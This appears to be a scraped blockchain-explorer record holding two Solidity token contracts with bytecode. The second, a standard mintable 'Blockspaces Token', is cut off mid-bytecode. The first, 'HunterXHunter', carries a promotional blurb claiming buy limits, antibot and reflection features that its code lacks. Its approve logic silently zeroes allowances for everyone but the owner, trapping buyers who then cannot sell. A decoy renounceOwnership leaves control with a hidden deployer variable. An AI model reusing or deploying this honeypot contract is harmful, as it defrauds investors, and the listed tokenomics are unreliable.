The journey of Gon Freecss and our other beloved hunters continue on the blockchain. HunterxHunter followed the journey of the young man Gon Freecss and his attempt to find his world renowned Dad. Along the way he made many friends and enemies, facing countless challenges and obstacles.
His last remaining goal is to carve his name into the blockchain, where HxH can live forever.
🔫🔫🔫🔫🔫🔫🔫🔫🔫🔫🔫🔫🔫🔫
Token Information: ✅
Total supply 1Trillion
Max buy 2% per transaction
Max sale 2% per transaction
Antibot mechanism (Don’t use bot or your blacklisted :) )
Tokenomics:✅
Liquidity 1% This will give us a higher floor each time.
Marketing 5% Will allow us provide marketing directly at launch.
Reflections 1% Members will receive HunterXhunter tokens.
Website: https://Hunterxhuntereth.net
Twitter: https://twitter.com/HunterXHunterO3
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract HunterXHunter is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**9 * 10**18;
string private _name = ' HunterXHunter ';
string private _symbol = 'HUNTERXHUNTER';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220d2930b412648152e40cede9eb55f6dacb90c4b1990b87bf3284df82cbbb7f43264736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 3,283 |
0x86757a336431539e82fb280991d82279e474d579
|
pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract BlockspacesToken is MintableToken {
string public name;
string public symbol;
uint8 public decimals;
string public version;
function BlockspacesToken() {
// constructor
name = "Blockspaces Token";
symbol = "BST";
decimals = 18;
version = "0.1";
totalSupply_ = 10000000;
balances[msg.sender] = totalSupply_;
}
}
|
0x6060604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100f657806306fdde0314610123578063095ea7b3146101b157806318160ddd1461020b57806323b872dd14610234578063313ce567146102ad57806340c10f19146102dc57806354fd4d501461033657806366188463146103c457806370a082311461041e5780637d64bcb41461046b5780638da5cb5b1461049857806395d89b41146104ed578063a9059cbb1461057b578063d73dd623146105d5578063dd62ed3e1461062f578063f2fde38b1461069b575b600080fd5b341561010157600080fd5b6101096106d4565b604051808215151515815260200191505060405180910390f35b341561012e57600080fd5b6101366106e7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017657808201518184015260208101905061015b565b50505050905090810190601f1680156101a35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101bc57600080fd5b6101f1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610785565b604051808215151515815260200191505060405180910390f35b341561021657600080fd5b61021e610877565b6040518082815260200191505060405180910390f35b341561023f57600080fd5b610293600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610881565b604051808215151515815260200191505060405180910390f35b34156102b857600080fd5b6102c0610c3b565b604051808260ff1660ff16815260200191505060405180910390f35b34156102e757600080fd5b61031c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c4e565b604051808215151515815260200191505060405180910390f35b341561034157600080fd5b610349610e34565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561038957808201518184015260208101905061036e565b50505050905090810190601f1680156103b65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103cf57600080fd5b610404600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ed2565b604051808215151515815260200191505060405180910390f35b341561042957600080fd5b610455600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611163565b6040518082815260200191505060405180910390f35b341561047657600080fd5b61047e6111ab565b604051808215151515815260200191505060405180910390f35b34156104a357600080fd5b6104ab611273565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104f857600080fd5b610500611299565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610540578082015181840152602081019050610525565b50505050905090810190601f16801561056d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561058657600080fd5b6105bb600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611337565b604051808215151515815260200191505060405180910390f35b34156105e057600080fd5b610615600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611556565b604051808215151515815260200191505060405180910390f35b341561063a57600080fd5b610685600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611752565b6040518082815260200191505060405180910390f35b34156106a657600080fd5b6106d2600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506117d9565b005b600360149054906101000a900460ff1681565b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561077d5780601f106107525761010080835404028352916020019161077d565b820191906000526020600020905b81548152906001019060200180831161076057829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156108be57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561090b57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561099657600080fd5b6109e7826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a7a826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461194a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b4b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193190919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600660009054906101000a900460ff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cac57600080fd5b600360149054906101000a900460ff16151515610cc857600080fd5b610cdd8260015461194a90919063ffffffff16565b600181905550610d34826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461194a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610eca5780601f10610e9f57610100808354040283529160200191610eca565b820191906000526020600020905b815481529060010190602001808311610ead57829003601f168201915b505050505081565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610fe3576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611077565b610ff6838261193190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffff